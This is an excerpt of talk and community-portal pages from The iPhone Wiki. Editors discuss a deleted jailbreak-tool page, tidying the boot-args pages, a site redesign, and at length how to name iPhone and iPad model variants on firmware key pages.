What does this exactly do? Restore to custom IPSW's like sn0wbreeze? Please explain. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:42, 1 January 2014 (UTC)

Hi Peg4sus. Sorry that I had to delete the R3wind page. We had several fights here about adding lots of tools, so we had to set strict rules for adding new tools' pages to the wiki. After R3wind is finished, released and used by several users, please ask for adding the page again. I hope this is not discouraging you to develop the tool. Thanks for your understanding. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:32, 1 January 2014 (UTC)

User:Peg4sus

2014-01-01T23:24:40Z

Http: copied text from deleted page

== Peg4sus' Page ==
I'm Noah Tanner, or [http://www.twitter.com/peg4susjb @peg4susjb] on twitter. I have the following devices on my JB crusade!

{| class="wikitable" style="font-size: smaller; text-align: center;"
|-
! Device
! Variant
! Color
! Size
! Firmware
! Build
! Jailbroken?
! Tool
|-
| [[n81ap|iPod touch 4G]]
| {{n/a}}
| White
| 16GB
| 6.1
| 10B141
| {{yes}}
| [[evasi0n]]
|}

{| class="wikitable" style="font-size: smaller; text-align: center;"
|-
! Device
! OS
! Modded?
! Jailbreak Tools?
|-
| Sony VAIO
| Windows 7 / Ubuntu
| No
| redsn0w, evasi0n, sn0wbreeze
|}

Working on the tool r3wind.

r3wind (pronounced "Rewind") is an upcoming port for 4th generation iPod touch devices. It is believed that he is using a trick that changes the System Version Property List File to trick iTunes 11.0 into restoring the r3wind custom firmware.

The iPhone Wiki:Community portal

2014-01-01T15:07:53Z

Http: /* "GSM" Replacement Proposals V2 */

{{Talk Archive}}
{{see also|Unsolved problems}}
==iPhone-Elite==
I think we should include all this old stuff before it gets lost: [http://code.google.com/p/iphone-elite/ code.google.com/p/iphone-elite/]. I mean the wiki articles there. Most infos should be already here, but I'm sure a lot of things are missing too.
--[[User:Http|http]] 15:02, 26 June 2012 (MDT)

==Boot-args cleanup==
We need to clean up the boot-args pages. First the technical part: What I understand is that iBoot loads the kernel. And when loading it, it can pass some parameters to select certain behavior. So this only works with an iBoot or bootrom exploit. I understand that in earlier firmware versions there was simply an iBoot variable, but that doesn't exist or work anymore, now passing theses args requires a different or patched iBoot. There are various parameters in different kernel versions. The description for these arguments is scattered over various places:
*[[Kernel#Boot-Args]] A section with the latest boot arguments list. This should be a short introduction and having a link "main article".
*[[Boot-args (iBoot variable)]] separate page for boot arguments, but mainly for the iBoot variable that doesn't exist any longer
*[{{FULLURL:Boot arguments|redirect=no}} Boot arguments] (redirect)
*[[:Talk:Restore_Mode]] describing the iBoot variable problem
*Various pages referencing boot-args, like [[Research: Re-allowing unsigned ramdisks and boot-args with the 2.* iBoot]] (here we should have a link on the second title)
*My earlier comment [[:Talk:Kernel#boot-args]]
*This comment here.
So what do we want to do about this mess? I suggest to move the current [[Kernel]] content to the redirect page [[Boot arguments]] (or to another new page, maybe [[boot-args]]). The current content of [[Boot-args (iBoot variable)]] and all other content should get merged into there. Then change all references to this new page and on the [[Kernel]] page write just something short with "main article there". What do you think? --[[User:Http|http]] ([[User talk:Http|talk]]) 21:31, 13 February 2013 (UTC)
:I like [[Boot Arguments]]. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 02:01, 14 February 2013 (UTC)
::One addition: Maybe we should use [[boot-args]] as the main page, because all links are written like that. --[[User:Http|http]] ([[User talk:Http|talk]]) 07:37, 14 February 2013 (UTC)

==The iPhone Wiki re-design==
The design of the iPhone wiki is now quite old and I think it should be updated. I made a [http://oi42.tinypic.com/30ib9y8.jpg concept]. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:30, 14 June 2013 (UTC)
:I disagree. If anything add an iPhone 5 to the logo but everything else is ok. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 11:05, 14 June 2013 (UTC)
:I wouldn't change the logo to an iPhone 5, especially with iOS 7 and a new iPhone (that will probably look the same as the 5, admittedly) around the corner. I contemplated updating the CSS for iOS 7's UI but decided not to because of the UI's supposed volatility (during the beta period) and I don't have a live version to toy around with. (I personally don't like its current state, but that's not a factor in why I'm not changing it yet.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:25, 14 June 2013 (UTC)
::Can we not do flat? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 21:02, 14 June 2013 (UTC)
::This is what I was thinking. When iOS 7 finally comes out, we could change the CSS to look like that instead. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:11, 14 June 2013 (UTC)
:::iOS 7 looks ugly. We do not want it like that. Maybe a bit more modern but nothing much. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:16, 14 June 2013 (UTC)
::::''You'' may not want it like that. That's your opinion. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:55, 15 June 2013 (UTC)
:::::We could make a poll, and see if most users agree or disagree. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:05, 15 June 2013 (UTC)
:The idea looks nice. But before we make any changes, let's wait until iOS7 comes out. And I'd prefer to just add another skin instead (if possible). I'm still using the classic MonoBook skin by the way. You shouldn't impose design changes to everyone. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:38, 15 June 2013 (UTC)
::The problem with skins is that geohot needs to set them up... An idea I have is that we copy the Vector skin verbatim to a new skin (<code>iOS6</code>) and move the modifications (not general stuff) to [[Mediawiki:iOS6.css]]. Then we can do another verbatim copy to <code>iOS7</code> and modify [[Mediawiki:iOS7.css]]. We could then set the default skin to either <code>iOS6</code> or <code>iOS7</code> so you don't need to be logged in to see them like currently. Then if someone doesn't like them, like you, just change your settings to your preferred skin. The only way around needing geohot is if he opens up the credentials to FTP or whatever to someone. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:17, 15 June 2013 (UTC)
:::I like [[User:5urd|5urd]]'s suggestion. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:29, 15 June 2013 (UTC)
What about just removing the text-shadow element for now? I think pages would be easier to read without it. Here's an example: [[:File:Noshadow.png]]. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:11, 29 August 2013 (UTC)
:Yeah removing the shadow will make everything seem more flat but like [[User:http|http]] I'm still using the classic [http://theiphonewiki.com/w/index.php?title=Main_Page&useskin=monobook MonoBook skin] --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 21:19, 31 August 2013 (UTC)

==Hacker page==
I would like to be added to the list of hackers for my work with the Private Dev Team and the [[Chronic Dev (team)|Chronic Dev Team]] in addition to my release of the Phoenix Semi-Untethered. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 18:36, 22 July 2013 (UTC)
:Did you find any exploits? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 18:54, 22 July 2013 (UTC)
::No. [[User:phyrrus9|phyrrus9]], a team member found the vulnerability. I am the one who exploited it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]])
:::I can back up this "claim". I was a part of it. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:52, 28 July 2013 (UTC)
::::Whatever happened to this? --[[User:Phyrrus9|phyrrus9]]

==Orphaned articles==
This is an interesting search: [[Special:LonelyPages]] - "The following pages are not linked from or transcluded into other pages in The iPhone Wiki." I'm not sure where all of those articles should be linked, but figuring that out could be a useful project for somebody. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 05:57, 28 August 2013 (UTC)

==Easy tasks for new editors==
* Finish converting the remaining error codes listed here [[MobileDevice_Library#Known_Error_Codes]] into the proper mach_return_t codes they should be displayed as. (convert the negative number listed into hex, strip any leading "FF" so it should be in the format "0xe80000" followed by two numbers) --[[User:Dirkg|Dirkg]] ([[User talk:Dirkg|talk]]) 22:40, 28 August 2013 (UTC)

== A1XXX model numbers vs. "GSM"/"CDMA"/"Global"/"Cellular"/etc. ==
I know that this topic was [[The iPhone Wiki:Community portal/2013#iPhone 5|already discussed earlier this year]], but it didn't seem to come to a consensus, and the introduction of the [[iPhone 5c]] and [[iPhone 5s]] brought a lot of model numbers. Some of them may "overlap" (think models A1429 and A1442 for the [[iPhone 5]]), but there's simply too many to give names to. There are at least two that can connect to CDMA networks, and all of them can connect to GSM. In addition, with the sheer amount of models, it doesn't seem likely for one model to be treated as a "global" model. Therefore, I changed the iPhone 5c to use model numbers. I would like to do the same to some of the devices that are already present on the wiki though— the same ones from when I first brought up this idea. The GSM/CDMA names work very well for the [[iPad 2]] and [[iPhone 4]]. Things are slightly murkier for the [[iPad 3|iPad (3rd gen.)]], [[iPad 4|iPad (4th gen.)]], [[iPad mini 1G]], and [[iPhone 5]] though; all of those devices' cellular models can connect to GSM networks, so it seems like nonsense to call some of them the "GSM model." The A1XXX model numbers are also how Apple tells the difference between the different models of these devices. Have any opinions changed? Or perhaps someone new might have something to say about this? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 06:06, 13 September 2013 (UTC)

:I actually like the idea as it does get complicated now with the new devices coming like said and we would have to do this for all devices. Although, if we did this, we would have to move all the key pages that have keys on to support this. That would not be a big problem as we could limit the moves to say 20 per day. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:47, 13 September 2013 (UTC)

:I suggest we wait a bit until we see what models of the [[iPhone 5c]] and [[iPhone 5s]] will exist. But in general, I like the idea of using only the A1nnn numbers. The only issue I see right now is that Apple differentiates between A1532 GSM and A1532 CDMA. If there are real hardware differences between these two, then we're screwed again. That's why I suggest to wait until we know these exact model types. On the disambiguation page I added the GSM/CDMA model differentiation already (as Apple does). If they turn out to be the same, we can remove it again, but I wonder why Apple lists two models (with different bands supported) there now. Someone also added the "CDMA" mark to one of the others, but that's not how Apple marks them, so I suggest to remove that mark there again. If everything can be differentiated by these A-model-numbers, then yes, we should change the old pages too. Including all key pages. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:44, 13 September 2013 (UTC)

::I do know there are 2 CDMA and 3-4 GSM for the [[iPhone 5c]] alone. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:04, 13 September 2013 (UTC)

:::Ahem… ''All'' of the iPhone 5c models can do GSM communications. Hence one of the reasons why I want to ditch the "GSM"/"Global"/etc. labels in favor of A1XXX model numbers. ;P --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:07, 13 September 2013 (UTC)

::::One thing is, what about iPod touch 5 as that has two model numbers that are the same device, same with iPhone5,2. How would we get around that? I suppose we could like both separated with a forward slash. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:19, 13 September 2013 (UTC)

:::::Yeah, we could just use something like "[[n42ap|iPhone 5 (Model A1429/A1442)]]." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:45, 13 September 2013 (UTC)

::::::Yeah I thought that but what about the iPhone 4 GSM and GSM Rev A? They both seem to be A1432. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:10, 13 September 2013 (UTC)

:::::::This is why I'm against using the A1XXX model numbers instead of the current GSM/Global thing. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::::::::I had no plans to change the way we refer to the iPhone 4 or iPad 2 (Apple does use GSM/CDMA, and for those devices it works fine). If a new iPhone 5S revision comes along, Apple will probably refer to it as a "Rev A" thing, and so will we. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:Referencing Adam's reply above, if we had took that to the key pages, it'd be <code>[<nowiki/>[{BuildTrain} {Build} (A1432)]]</code> which would mess ''everything'' up. What could we do? Use <code>[<nowiki/>[{BuildTrain} {Build} (A1432 Rev A)]]</code>? No. That doesn't look good. The current way of referring to everything by their supported network type (GSM/CDMA/Global) helps in going to a different page.
:Let's say I'm on [[BrightonMaps 10B329 (iPhone 4 GSM)]] and I want to go the CDMA device. What do I do? Go to the URL and replace <code>GSM</code> with <code>CDMA</code>. With the model numbers, I'd have to navigate to [[Firmware]], then find the link, or find out what the model number of the CDMA variant is and replace the model number in the URL with that. 
:Ok, who navigates by the URL and search bar? ''I do''. And I'm sure there's '''many''' people out there that prefer to navigate with the search bar if they know the page name. If we go by model number, the AJAX search results just list pages with a model number in parenthesis. '''How does that help'''? I'd either have to ''know'' the model number of the device I want, or visit ''each one'' until I find the page I need.
:Sorry for the rant, but I am '''strongly''' against this. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::I do suppose we could just trash the buildtrain all together to shorten it down too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:32, 13 September 2013 (UTC)

:::Dropping the Build Train would only ''increase'' the workload. Besides, what's the harm with it? We've been using the same page title structure since forever, and it's worked. "''If it ain't broke, don't fix it''". The current system works, so ''why'', other than the fact that Apple refers to them differently, should we change this? In addition, we don't refer to everything the way Apple does. The [[iPad mini 1G]] is referred to as the "iPad mini". The [[iPad 3]] is refered to as "The New iPad". The [[iPad 4]] is refered to as "iPad with Retina Display"[http://www.apple.com/ipad/compare/]. Are the key pages titled <code>BrightonMaps 10B329 (The New iPad, Wi-Fi+3G for AT&T and Verizon)</code>? No. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:37, 14 September 2013 (UTC)

::::But the reason we want to not use the variants is because the new devices that are coming out are breaking he structure and also CDMA versions can use GSM in the 5c plus we have like 4 for GSM alone. I only meant drop buildtrain to shorten the urls down. For the iPhone 4 GSM Rev A we would have to list it as <code>iPhone 4 A1432 Rev</code> unless another idea is thought of. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:55, 14 September 2013 (UTC)

:::::No. Anything involving moving key pages to change their title I am ''completely'' against. As for the iPhone 5s and iPhone 5c, we ultimately have to wait. There may be different types, but if they all work with the same firmware, then what do we do then? Use <code>A1456/A1504</code>? I don't want to do that. It can get confusing in the future if that list were to be huge. With ''5'' different models for the iPhone 5c ''alone'', it's just not practical. For the fact that all support GSM, but not all support CDMA, we just do what we've ''been'' doing: "GSM" and "Global". --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:22, 14 September 2013 (UTC)

::::::There's nothing wrong with changing the titles of pages that don't even exist though. If *all* of the models use the same firmware, just go with "iPhone 5s." If they happen to be partitioned into two different firmwares again, that will certainly complicate things, but it wouldn't be worse than nonsense like "GSM," "GSM [<nowiki />Global]," "CDMA," "CDMA [<nowiki />Global]," or "GSM [<nowiki />Global Plus TD-LTE]." If it's just one oddball, we could just have "iPhone 5s" and "iPhone 5s A1XXX" (whatever the odd one is), and include a link on the former page to say "keys for model A1XXX are on this page." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::::I probably didn't phrase that well… I wasn't thinking of how Apple markets the product, but rather more along the lines of how they refer to it in, say, the tech specs page or support documents— the pages that shows the messier side to their simple sugar coating. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::You keep misinterpreting/misrepresenting what I'm proposing. I never said anything about dropping, say, "iPhone 5" so firmware page titles would look like [[Sundance 10A405 (A1428)]]. I want to change the GSM/Global part to the A1XXX number, so it would probably show like [[Sundance 10A405 (iPhone 5 A1428)]]. (If a hardware revision were made, it would probably look like [[Sundance 10A405 (iPhone 5 A1428 Rev A)]].) From time to time, I edit URLs to browse the wiki too. But the GSM/Global identifiers don't work that well; again, '''all iPhone 5 models can connect to GSM'''. That's not really helpful. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:::I suggest we drop the A and use Rev. As for the idea of changing to A1XXX, I see no issues and am for the idea. I admit it can cause chaos when we move the pages but we could limit the moving per day of course. Overall, I think it will be worth it. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 10:01, 14 September 2013 (UTC)

::::No. Don't drop the <code>A</code> from <code>Rev A</code>. Why would you even think to? You want to call them what Apple calls them, and the [[n90bap|revised iPhone 4 GSM]] is referred to with <code>Rev A</code>. In addition, there have been <code>Rev ''B''</code> things before, such as the [[S5L8947]] (A5 Rev B) used in the [[j33iap|revised Apple TV 3G]]. In addition, think of all the redirects we would need to keep for sites that link to key pages directly. I have even seen sites that still link with the URLs as <code>/wiki/index.php?title={Title}</code> instead of the year old change to <code>/wiki/{Title}</code>. The wiki handles that internally for us, but the redirects made in the moves would have to be kept. Currently, only the [[iPhone 5]] and [[iPad 4]] are the only devices referred to by their model numbers. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

:::That's why I don't want to change it. It's worked for us, and we have no idea how the new firmwares will be handled. I am betting that there will only be two firmware types - one for the GSM, and one for the Global (GSM+CDMA) model. The only reason they are split, IIRC, is because AT&T uses different LTE bands than rest of the GSM world.
:::Ultimately, the GSM/CDMA/Global monikors haven't caused any ''naming conflicts''. Ok, you don't want to use the ''marketing'' title. What about the way they are referred to on [[Apple Developer Center|ADC]], because that seems to be what you want. I may be misreading what you're saying again, but if we're going to do that, let's use their ''full'' title. Something <code>(iPad [4th generation Model A1458])</code> (iPad 4 Wi-Fi) and <code>(iPad Wi-Fi + Cellular [model for Verizon])</code> (iPad 3 Global). Does the first one tell you if the device is Wi-Fi or a Wi-Fi+3G model? Does the second one tell you ''at all'' that it is an [[iPad 3]], or that it supports GSM? No.
:::Apple has a history of being inconsistent. For example, the iPad 3 Wi-Fi is referred to on ADC (and iTunes) as "iPad Wi-Fi (3rd generation)" while the iPad 3 GSM is referred to as "iPad Wi-Fi + Cellular [model for AT&T]". What happened to the "3rd generation"? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

::::We could always list as <code>iPhone 4 (iPhone3,1)</code> etc instead if that would be better. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:13, 14 September 2013 (UTC)

::::Why is there a need to explicitly keep "Wi-Fi" in a key page's title? All you need is a way to distinguish what model it is from its other variants— the A1XXX model number does just that. It's not like we referred to the AppleTV3,2 as "Apple TV 3G (New Single-Core A5)" or something. And obviously, we can use common sense to address the 3rd generation iPad issue you brought up… Now you're just nitpicking. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 05:28, 15 September 2013 (UTC)
:::::Actually, I think we should wait until we see the firmware for iPhone 5c/5s and then decide. TBH, as [[User:5urd|5urd]] said, it is ok as it is but of course if once the new firmware is out it is more confusing, then we can think again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 14:12, 15 September 2013 (UTC)

:::::Come to think of it, we can use a mix of both; we can keep the "Global" moniker, but drop the "GSM" moniker in favor of the A1XXX model number. (The "GSM" moniker is the one that's been bothering me.) I think this works well for the iPad 3 (which is actually split into "CDMA" and "Global—" it probably doesn't need to be done for this), iPad 4, iPad mini 1G, and iPhone 5, but this leaves the question of what to do for the iPhone 5C/5S. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:04, 19 September 2013 (UTC)

::::::That would look worse! If we are going to do it, we have to do it for '''''all'''''. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:40, 19 September 2013 (UTC)

:::::::What is the status on this now? --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:18, 9 November 2013 (UTC)

:::::This discussion has stagnated, but I'm firing it up again— I want to fix this before the end of the year, so this can probably be seen as an ultimatum. Now that Apple has pushed a 7.1 beta to developers, we now know how Apple's splitting the new iPhones up— and it's by A1XXX model numbers still. :\ That's probably the path the wiki will go down, but I do have another idea. The other idea I have in mind is using the A1XXX model number for the cellular devices launched last year. But for this year's iPhones, the FCC ID is actually different between the two, so we could actually use that. Before this gets nitpicked on, the last letter can get changed to an "X" to signify that it's a wildcard of sorts. It's not a pretty solution so I do expect it to get shot down (hence why I'm going with the A1XXX model numbers unless everyone says otherwise), but I'm still throwing it out there in case everyone actually likes that. Everyone is welcome to suggest alternatives, but I '''will''' eliminate that GSM label before the year ends. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:31, 18 November 2013 (UTC)

::::::That is worse, nobody knows the FCC ID off the top of their head. I would suggest "iPhone 5 (iPhone5,1)" if anything. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:37, 18 November 2013 (UTC)

:::::::Using "iPhone5,1" or "iPhone6,2" is even ''less'' friendly… The FCC ID can be looked up in Settings or the back of a device. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:06, 18 November 2013 (UTC)

::::::::Well that is not the point. I say either use the firmware name or leave it alone. See what others thing though. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:13, 18 November 2013 (UTC)

:::::::::I currently plan on using the A1XXX model numbers— the FCC ID proposal was just thrown out there in the off chance that someone might like it. I'm not really a fan of it myself, but the FCC ID is probably the simplest way to figure out if it's an iPhone6,1 or iPhone6,2 since both have multiple A1XXX model numbers. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:19, 18 November 2013 (UTC)

::::::I agree to get rid of the "GSM" name, as almost all iPhones support GSM. The Axxxx numbers would be nice, but as some phones have several numbers, like A1457/A1518/A1528/A1530 (what is actually different between them?) we can't use it. For the FCC-ID, we can't use that either, because for example the iPhone 5 with FCC-ID BCG-E2599A stands for the GSM/A1428 and also for the GSM+CDMA/A1429 version. So I suggest to either use the identifier (like iPhone2,1) or better the internal name (like n88ap). That would have the advantage to separate them further, because the iPhone 4 A1332 has two internal versions: iPhone3,1/n90ap and the iPhone3,2/n90bap. The bigger question is where you want to use this. That determines mainly the name. On all the key pages? Then it must be a name that is different between models that use different firmwares. And regarding key pages, maybe we should delete all the key pages from this wiki and move them into some database instead and provide a nice user interface and API around it and integrate that into the wiki somehow. That way we can change all pages with one simple edit. For the name, I prefer the internal name. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:43, 18 November 2013 (UTC)

:::::::We would have to edit key pages too. They should not be removed however. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:46, 18 November 2013 (UTC)

:::::::Well, I wasn't trying to say that we had to decide on one way to differentiate ''everything''; "GSM" does work fine for, say, the iPhone 4. The proposal I brought up today was using the FCC ID only for this year's (2013's) iPhones— last year's cellular devices would get the A1XXX model numbers (i.e. two different solutions for two different years). But as of right now, I like how using A1XXX model numbers sounds for all of the affected devices, mostly because that's the path Apple's going in their developer portal. Something like "iPhone 5s (Model A1457/A1518/A1528/A1530)" is admittedly a mouthful for this year's iPhones though. At the moment, I'm inquiring about how to label it on [[Firmware]] and such pages, but I'm sure the outcome can be adapted for key page titles as well. As for differences between the models, it seems to be the supported LTE bands. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:49, 19 November 2013 (UTC)

:::::::::I still think that unless it is "iPhone 5 (iPhone5,1)" it will be complicated but on the other hand, I kind of like the idea that [[User:Http|http]] had, using the internal identifiers like this "iPhone 5 (n42ap)". The only problem is that it would cause quite a bit of a flood moving the key pages, although this can be done like 15 per day each or something. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:20, 19 November 2013 (UTC)

::::::::::I'm pretty sure the only key page that exists for an A5 (or newer) device is [[Telluride 9A406 (iPhone 4S)]]. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)

:::::::::::That was an example. I know there are no more A5 pages, only the one you said and two beta for iPhone 4S. I just meant that it would show the design. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:36, November 21, 2013 (UTC)

== "GSM" Replacement Proposals ==
Since this discussion has become extremely lengthy, here are the proposals (to my understanding) for changing the labels, each of which can be subject to changes (i.e. dropping the word "Model" from Proposal A). In an effort to conserve space (ironically, this still adds a significant amount of length), I only included a few models, which should give an idea of the proposal. Basically anything with an A5 or newer is involved. Feel free to edit this list if I missed or totally misinterpreted something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:25, 22 November 2013 (UTC)
# Proposal A (A1XXX numbers)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (Model A1456/A1532)
#* iPhone 5c (Model A1507/A1516/A1526/A1529)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c Model A1507/A1516/A1526/A1529)]]
# Proposal B (A1XXX + FCC ID)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (BCG‑E2644A)
#* iPhone 5c (BCG‑E2694X)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c BCG‑E2694X)]]
# Proposal C (-AP Identifier)
#* iPad 4 (p101ap)
#* iPad 4 (p102ap)
#* iPad 4 (p103ap)
#* iPhone 5 (n41ap)
#* iPhone 5 (n42ap)
#* iPhone 5c (n48ap)
#* iPhone 5c (n49ap)
#* [[InnsbruckTaos 11B554a (iPad 4 p101ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n42ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n49ap)]]
# Proposal D (iPhoneX,Y Identifier)
#* iPad 4 (iPad3,4)
#* iPad 4 (iPad3,5)
#* iPad 4 (iPad3,6)
#* iPhone 5 (iPhone5,1)
#* iPhone 5 (iPhone5,2)
#* iPhone 5c (iPhone5,3)
#* iPhone 5c (iPhone5,4)
#* [[InnsbruckTaos 11B554a (iPad3,4)]]
#* [[InnsbruckTaos 11B554a (iPhone5,2)]]
#* [[InnsbruckTaos 11B554a (iPhone5,4)]]

:I like this [[InnsbruckTaos 11B554a iPad 4 (3,4)]] or [[InnsbruckTaos 11B554a iPad 4 (iPad3,4)]]. I see there are 4 ways to approach this;
1. Change every single device. 
2. Change just devices with different variants, iPad 2+, iPad mini+, iPhone 4, iPhone 5+. 
3. Change A5+ only (which I hate the idea of). 
4. Change nothing at all. 
--[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:28, 22 November 2013 (UTC)
::My intention for this was to be a ''neutral'' (i.e. opinion-free) spot where all of the proposals were being mentioned, so people could easily see the proposed changes without any bias… v.v --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 20:54, 22 November 2013 (UTC)
:::TBH, I think it is better as it is, but I just stated my opinion that only A5+ would make in inconsistent. Though you could argue it is already, that is down to Apple and furthermore, just A5+ would still not eliminate iPhone 4 (GSM, GSM Rev A or CDMA). --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:07, November 22, 2013‎ (UTC)}}
:Do it like #4, and do them all. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 18:40, 23 November 2013 (UTC)
::::It will be a pain, but I like [[User:CompilingEntropy|CompilingEntropy]]'s idea as it would make it much much better in the end. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:25, 25 November 2013 (UTC)
:I would say A and B are impossible due to various numbers in the same model. I like C best. For variant C you could also leave away the "ap" at the end, because every model has that, so it would be even shorter. For D, that's simply longer names and these names are not used at many places, but I could live with that version as well. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:30, 1 December 2013 (UTC)
Taking into account everyone's thoughts on this, I think we'll probably go with option C. The wiki already uses the "-ap" identifiers for the model pages, and an identifier like "iPad3,4" may confuse someone into thinking it's a model of the [[iPad 3]]. (I would still like to use the A1XXX numbers since Apple does that, but nobody else seems to agree now…) I'll give this a few more days for any last words before acting on it. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:03, 26 December 2013 (UTC)
::It '''will''' get changed before the year ends. I don't know why your opinion keeps changing, but I have already explained the reason for changing it. You even agreed that it needs to be changed. I'm still open to suggestions on what to change it to though. Keep in mind that the change will affect not only key pages, but also how the devices will be referred to throughout the wiki. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:34, 26 December 2013 (UTC)
:::I know it will. I said it is fine to change. I like bot #3 and #4. Only point I must make is that I feel we should change all devices with multiple variants, including iPad Air and iPhone 4. This way, it is consistent and also removes GSM etc altogether. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:48, 26 December 2013 (UTC)
::I agree with Adam, if you're going to change some of them then change all of them. This includes iPods. Whatever the outcome, be consistent. As for the outcome itself, I really think we should just use device identifiers (iPhone2,1). That's what we're actually differentiating by, so it only makes sense to refer to devices by them. I don't think there would be any confusion, especially considering we'll keep the name of the device next to it regardless. Barring that, the next best option is ***ap. The other options don't make any sense considering modern devices. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 10:54, 30 December 2013 (UTC)
:::I like [[User:CompilingEntropy|CompilingEntropy]]'s idea, though I do not mind if we do every device or just ones with multiple variants, as long as that included pre A5 (iPhone 4) too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:34, 30 December 2013 (UTC)

== "GSM" Replacement Proposals V2 ==
